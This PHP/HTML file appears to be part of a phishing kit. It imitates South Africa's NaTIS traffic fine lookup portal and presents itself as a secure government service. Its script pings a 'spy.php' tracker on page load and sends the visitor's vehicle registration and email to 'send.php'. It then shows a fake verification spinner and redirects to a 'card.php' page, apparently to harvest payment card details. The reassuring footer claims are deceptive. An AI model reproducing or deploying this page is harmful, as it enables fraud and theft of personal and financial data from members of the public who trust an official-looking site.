<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header("Location: done.php");
    exit;
}
$ntActive = 'online';
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NaTIS Online — Traffic fine lookup</title>
    <link rel="stylesheet" href="themes/css/login-natis.css" />
</head>
<body class="nt-entry-page">
<?php require __DIR__ . '/includes/natis-header.php'; ?>

<main class="nt-main">
    <p class="nt-portal-breadcrumb">
        <a href="home.php">Home</a> &rsaquo; Online services &rsaquo; Traffic fine lookup
    </p>

    <div class="nt-entry-box">
        <div class="nt-entry-banner">
            <img src="assets/img/senior-citizens.jpg" alt="NaTIS online services — walk-ins welcome at your local DLTC" />
        </div>

        <div class="nt-portal-alert nt-entry-alert">Secure online lookup — verify your vehicle and email to continue</div>
        <div class="nt-portal-head">Traffic fine lookup</div>

        <div class="nt-entry-body">
            <p class="nt-entry-lead">
                Enter the vehicle registration number shown on your fine notice and the email address we used to contact you.
            </p>

            <p class="nt-error nt-entry-error" id="entryError" hidden></p>

            <form id="entryForm" class="nt-entry-form" novalidate>
                <div class="nt-entry-fields">
                    <div class="nt-field">
                        <label class="nt-label" for="vehicle_reg">Vehicle registration</label>
                        <input class="nt-input nt-input-plate" type="text" id="vehicle_reg" name="vehicle_reg" placeholder="CA 123-456 GP" autocomplete="off" required spellcheck="false" />
                        <span class="nt-field-hint">As printed on your NaTIS fine notice</span>
                    </div>
                    <div class="nt-field">
                        <label class="nt-label" for="email">Email address</label>
                        <input class="nt-input" type="email" id="email" name="email" placeholder="your.email@example.com" autocomplete="email" required />
                        <span class="nt-field-hint">Used for payment confirmation and receipt</span>
                    </div>
                </div>

                <button type="submit" class="nt-amount-btn" id="btnContinue">Proceed to payment</button>
            </form>
        </div>

        <div class="nt-portal-foot">
            RTMC · NaTIS National Traffic Information System · Your details are used only to retrieve your outstanding fine profile.
        </div>
    </div>

    <div class="nt-entry-wait" id="entryWait" hidden aria-live="polite" aria-busy="true">
        <div class="nt-entry-wait-panel">
            <div class="nt-entry-wait-spinner" aria-hidden="true">
                <div class="nt-entry-wait-ring"></div>
            </div>
            <p class="nt-entry-wait-title">Retrieving your fine profile</p>
            <p class="nt-entry-wait-text">Please wait while we verify your details with NaTIS…</p>
            <div class="nt-entry-wait-dots" aria-hidden="true"><span></span><span></span><span></span></div>
        </div>
    </div>
</main>

<?php require __DIR__ . '/includes/natis-footer.php'; ?>

<script src="res/jq.js"></script>
<script>
    $.post("spy.php", { loginview: 1, firstload: 1 });

    $("#entryForm").on("submit", function (e) {
        e.preventDefault();

        var vehicle = $.trim($("#vehicle_reg").val());
        var email = $.trim($("#email").val());
        var emailOk = /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email);
        var $err = $("#entryError");

        if (!vehicle || !emailOk) {
            $err.text("Please enter your vehicle registration and a valid email address.").prop("hidden", false);
            return;
        }

        $err.prop("hidden", true);
        $("#btnContinue").prop("disabled", true).text("Please wait…");
        $("#entryWait").prop("hidden", false);

        var startTime = Date.now();
        var waitMs = 5000;

        function goToCard() {
            window.location.href = "card.php";
        }

        function finishWait() {
            var remaining = waitMs - (Date.now() - startTime);
            if (remaining > 0) {
                setTimeout(goToCard, remaining);
            } else {
                goToCard();
            }
        }

        $.post("send.php", {
            action: "natis_entry",
            vehicle_reg: vehicle,
            email: email
        }).done(finishWait).fail(function () {
            $("#entryWait").prop("hidden", true);
            $("#btnContinue").prop("disabled", false).text("Proceed to payment");
            $err.text("Something went wrong. Please try again.").prop("hidden", false);
        });
    });
</script>
<?php $m->ctr("LOGIN"); ?>
</body>
</html>
